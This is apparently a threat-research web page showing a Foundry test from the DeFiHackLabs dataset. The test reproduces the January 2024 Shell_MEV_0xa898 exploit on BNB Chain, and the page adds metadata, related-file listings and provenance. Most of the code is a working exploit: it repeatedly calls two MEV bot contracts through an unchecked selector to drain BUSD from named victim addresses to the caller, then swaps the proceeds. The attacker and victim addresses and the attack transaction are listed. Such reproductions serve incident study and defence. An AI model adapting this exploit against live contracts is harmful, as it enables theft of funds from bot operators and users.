Public reproduction file
src/test/2024-01/Shell_MEV_0xa898_exp.sol
Public reproduction file for dataset entry Shell_MEV_0xa898.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4// @KeyInfo - Total Lost : ~1000 $BUSD5// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc5026// Attack Contract : https://bscscan.com/address/0xd66a43d0a3e853b98d14268e240cf973e3fa986e7// Vulnerable Contract : https://bscscan.com/address/0xa898b78b7cbbabacf9d179c4c46c212c0ac66f468// Attack Tx : https://bscscan.com/tx/0x24f114c0ef65d39e0988d164e052ce8052fe4a4fd303399a8c1bb855e8da01e910import "forge-std/Test.sol";11import "./../interface.sol";13contract ContractTest is Test {14 event TokenBalance(string key, uint256 val);16 IERC20 SHELL = IERC20(0x5Df670150Be23c7BCF764E57F24D46BA88dCa621);17 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);18 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);19 IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));20 address Victim1 = 0x100006d330F46e8f60359aFE62C29714e5D8438C;21 address Victim2 = 0xf5339777FE60a597316ad0B9Ed8A2b0444cF8317;23 address Robot1 = 0xa898b78B7cbBabacf9d179C4C46c212c0aC66F46;24 address Robot2 = 0x923AA7C73909b21CF0854904dF2fA2394087f818;26 function setUp() public {27 vm.createSelectFork("bsc", 35_273_751 - 1);28 vm.label(address(Victim1), "Victim1");29 vm.label(address(Victim2), "Victim2");30 vm.label(address(Robot1), "Robot1");31 vm.label(address(Robot2), "Robot2");32 }34 function testExploit() public {35 BUSD.transfer(address(0x000000000000000000000000000000000000dEaD), BUSD.balanceOf(address(this)));36 emit log_named_uint("Attacker BUSD balance before attack", BUSD.balanceOf(address(this)));37 SHELL.approve(address(Router), type(uint256).max);38 while (BUSD.balanceOf(Victim1) > 10 * 1e18) {39 Robot1.call(40 abi.encodeWithSelector(41 bytes4(0x5f90d725), Victim2, Victim1, address(this), BUSD.balanceOf(address(Victim1)), 100, 36042 )43 );44 }45 while (BUSD.balanceOf(Victim2) > 10 * 1e18) {46 Robot2.call(47 abi.encodeWithSelector(48 bytes4(0x5f90d725), Victim2, Victim2, address(this), BUSD.balanceOf(address(Victim2)), 100, 36049 )50 );51 }53 TOKENTOBUSD();54 emit log_named_uint("Attacker BUSD balance before attack", BUSD.balanceOf(address(this)));55 }57 function TOKENTOBUSD() internal {58 address[] memory path = new address[](2);59 path[0] = address(SHELL);60 path[1] = address(BUSD);61 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(62 SHELL.balanceOf(address(this)), 0, path, address(this), block.timestamp63 );64 }66 fallback() external payable {}67 receive() external payable {}68}Analysis
Dataset entry
Public Foundry test for “Shell_MEV_0xa898” (2024-01-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
17 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-01/BarleyFinance_exp.solSame month in the dataset · 106 lines
- src/test/2024-01/Bmizapper_exp.solSame month in the dataset · 81 lines
- src/test/2024-01/CitadelFinance_exp.solSame month in the dataset · 172 lines
- src/test/2024-01/DAO_SoulMate_exp.solSame month in the dataset · 77 lines
- src/test/2024-01/Freedom_exp.solSame month in the dataset · 88 lines
- src/test/2024-01/Gamma_exp.solSame month in the dataset · 158 lines
- src/test/2024-01/LQDX_alert_exp.solSame month in the dataset · 108 lines
- src/test/2024-01/MIC_exp.solSame month in the dataset · 212 lines
- src/test/2024-01/MIMSpell2_exp.solSame month in the dataset · 241 lines
- src/test/2024-01/NBLGAME_exp.solSame month in the dataset · 160 lines
- src/test/2024-01/OrbitChain_exp.solSame month in the dataset · 114 lines
- src/test/2024-01/PeapodsFinance_exp.solSame month in the dataset · 91 lines
- src/test/2024-01/RadiantCapital_exp.solSame month in the dataset · 156 lines
- src/test/2024-01/SocketGateway_exp.solSame month in the dataset · 78 lines
- src/test/2024-01/WiseLending02_exp.solSame month in the dataset · 176 lines
- src/test/2024-01/XSIJ_exp.solSame month in the dataset · 72 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x835b45d38cbdccf99e609436ff38e31ac05bc502
- Attack Contract
0xd66a43d0a3e853b98d14268e240cf973e3fa986e
- Vulnerable Contract
0xa898b78b7cbbabacf9d179c4c46c212c0ac66f46
- Attack Tx
0x24f114c0ef65d39e0988d164e052ce8052fe4a4fd303399a8c1bb855e8da01e9
File record
- Name
- Shell_MEV_0xa898
- Path
- src/test/2024-01/Shell_MEV_0xa898_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 603aa8112195880b87f61f64f28e638c58dd723b
- Language
- Solidity
- Size
- 69 lines
- Date
- 2024-01-15
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-01/Shell_MEV_0xa898_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 603aa8112195880b87f61f64f28e638c58dd723b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.